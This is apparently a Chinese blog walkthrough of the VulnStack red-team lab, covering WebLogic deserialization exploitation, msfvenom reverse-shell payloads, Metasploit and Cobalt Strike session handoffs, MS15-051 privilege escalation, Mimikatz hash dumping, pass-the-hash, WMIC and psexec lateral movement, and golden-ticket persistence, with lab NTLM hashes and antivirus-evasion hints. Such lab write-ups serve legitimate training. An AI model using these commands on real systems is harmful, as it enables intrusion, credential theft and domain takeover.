环境准备

靶场环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

修改网卡

  • Windows下打开虚拟网卡编辑器,将NAT网卡修改为111网段
  • Mac下需要先关闭虚拟机,再修改网卡
# 修改networking配置文件
# 修改VNET_8_HOSTONLY_SUBNET这一行为192.168.111.0
$ sudo vim /Library/Preferences/VMware\ Fusion/networking

# 配置网络
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --configure

# 启动网络服务
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --start

# 验证
$ ifconfig

账号密码

  • 默认密码:1qaz@WSX

    • de1ayadministrator,后面密码改为Naraku@123
    • de1aymssql
    • de1ayde1ay
IP备注
Kali192.168.111.2攻击机
WEB192.168.111.80
10.10.10.80Web服务器
PC192.168.111.201
10.10.10.201域内主机
DC10.10.10.10域控

服务启动

  • WEB机:

    • 使用de1ay\administrator用户登录,提示密码过期,修改为Naraku@123并登录
    • 打开C:\Oracle\Middleware\user_projects\domains\base_domain\bin\,以管理员身份运行 startWeblogic
  • WEB、PC和DC:

    • 使用de1ay\administrator用户登录
    • 计算机右键 > 管理 > 配置 > 服务,启动Server、Workstation、Computer Browser

      • Computer Browser默认是禁用的,需要启动,否则查询不到域信息

VulnStack-1

外网打点

Nmap扫描

  • 先对Web服务器进行扫描
$ nmap -T4 -sC -sV 192.168.111.80
  • 发现存在Weblogic(7001)服务,版本10.3.6.0

VulnStack-2

Weblogic反序列化

$ python3 WeblogicScan.py -u 192.168.111.80 -p 7001

VulnStack-3

  • 上线的方法有很多,但是有时候被拦截有时候不拦,多试下吧,玄学...

VulnStack-4

MSF

  • 使用MSF的exploit/multi/misc/weblogic_deserialize_asyncresponseservice模块也可以,但需要将默认unixtargets改成Windows
msf6 > use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST 192.168.111.2
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set RHOST 192.168.111.80
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set RPORT 7001
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set target 1
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > run

VulnStack-5

GUI工具

  • 利用GUI工具一把梭,上传冰蝎马

VulnStack-6
VulnStack-7

  • 然后MSF或者CS上线:

VulnStack-8
VulnStack-9
VulnStack-10

构造POST包

  • MSF监听
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.111.2
msf6 exploit(multi/handler) > set LPORT 9999
msf6 exploit(multi/handler) > run
  • MsfVenom生成ShellCode
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.2 LPORT=9999 -f psh-cmd > shell.ps1
  • 可以利用Invoke-Obfuscation工具对ShellCode进行免杀
  • 下载exploit.py脚本,将其中的exploit变量替换为ShellCode,然后执行
$ python exploit.py http://192.168.111.80:7001/_async/AsyncResponseServiceHttps

CS-MSF联动

不管前面上线了哪个工具,都可以传给另一个

MSF传给CS

  • 通过payload_inject将Shell发给CS
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > use exploit/windows/local/payload_inject 
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set LHOST 192.168.111.2
msf6 exploit(windows/local/payload_inject) > set LPORT 10080
msf6 exploit(windows/local/payload_inject) > set session 1
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true
msf6 exploit(windows/local/payload_inject) > run

CS传给MSF

  • MSF开始监听
# 配置监听器
msf> use exploit/multi/handler

# 选择Payload
msf> set payload windows/meterpreter/reverse_http # 不要用x64
msf> set LHOST <MSF_IP>
msf> set LPORT <MSF_Port>   # 设置任意端口进行监听

# 启动监听器
msf> run
  • 然后在CS上设置一个Foreign监听器

    • IP为MSF的监听IP
    • 端口为MSF监听端口

VulnStack-11

内网渗透

权限提升

  • 利用CS梼杌中的MS15-051进行提权

VulnStack-12
VulnStack-13

  • 将Beacon派生给MSF
# MSF监听
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 192.168.111.2
msf6 exploit(multi/handler) > set LPORT 9999
msf6 exploit(multi/handler) > run

VulnStack-14

信息收集

获取凭证

  • 获取凭证:

    • 右键 > Access > Dump Hashes(需要Administrator权限)
    • 右键 > Access > Run Mimikatz

VulnStack-15

域内信息

$ ipconfig /all
$ net config workstation                      # 当前登录域
$ netsh advfirewall set allprofiles state off # 关闭防火墙

$ net time /domain                       # Ping获取域控IP
$ nltest /dsgetdc:<domain_name>          # 也可以获取域控IP

$ net view /domain
$ nei view                                 # 域内主机
$ net user /domain                         # 域内用户
$ net group "domain admins" /domain        # 域管理员
$ net group "domain controllers" /domain   # 域控

横向移动

PTH

# pth <Domain>\<User> <NTLM Hash>
beacon> pth WEB\de1ay 161cff084477fe596a5db81874498a24

VulnStack-16

IPC

  • MSF生成木马文件
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > payload.exe 
  • 上传到WEB跳板机(10.10.10.80),这里放到C:\

VulnStack-17

  • 建立IPC连接,并上传木马文件到DC机(10.10.10.10)
beacon> shell net use \\10.10.10.10\ipc$ Naraku@123 /user:administrator
beacon> shell copy c:\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe

VulnStack-18

  • MSF添加路由并监听
meterpreter > run post/multi/manage/autoroute 
msf6 exploit(multi/handler) > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.80
msf6 exploit(multi/handler) > set LPORT 8888
msf6 exploit(multi/handler) > exploit 

VulnStack-19

  • WMIC调用命令执行木马文件
beacon> shell wmic /node:10.10.10.10 /user:administrator /password:Naraku@123 process call create "C:\Windows\Temp\payload.exe"

VulnStack-20

psexec

  • 命令:

    • portscan <IP网段> 445 <protocol>(arp/icmp/none) <Threads>
$ portscan 10.10.10.0/24 445 arp 100

VulnStack-21
VulnStack-22

  • 新建一个Listener,Payload选择Beacon SMB

    • CS3.x中选择windows/beacon_smb/bind_pipe

VulnStack-23

  • 然后点击View > Targets,右键点击DC,Jump > exec,选择对应的凭证以及前面新建的SMB Listeners

VulnStack-24
VulnStack-25
VulnStack-26

权限维持

  • 在DC上Dump Hash,获得krbtgt用户的NTLM Hash,即KDC Hash
# NTLM Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7ccedbc8e803aff218a8d219301f5bd9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:4e675b9c9a82832e4767553d30c6e803:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:27f4d3d984a24e3dc5c84fa08617bc31:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:51023470cd27dd6bf0137b8a8335c3d0:::

VulnStack-27

  • 获取SID
beacon> logonpasswords
# S-1-5-21-2756371121-2868759905-3853650604-500

VulnStack-28

黄金票据

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持。当域控权限掉后,通过域内其他任意机器伪造票据重新获取最高权限。
  • 利用:右键WEB机 > Access > Golden Ticket

VulnStack-29
VulnStack-30
VulnStack-31

如果觉得我的文章对你有帮助,请我吃颗糖吧~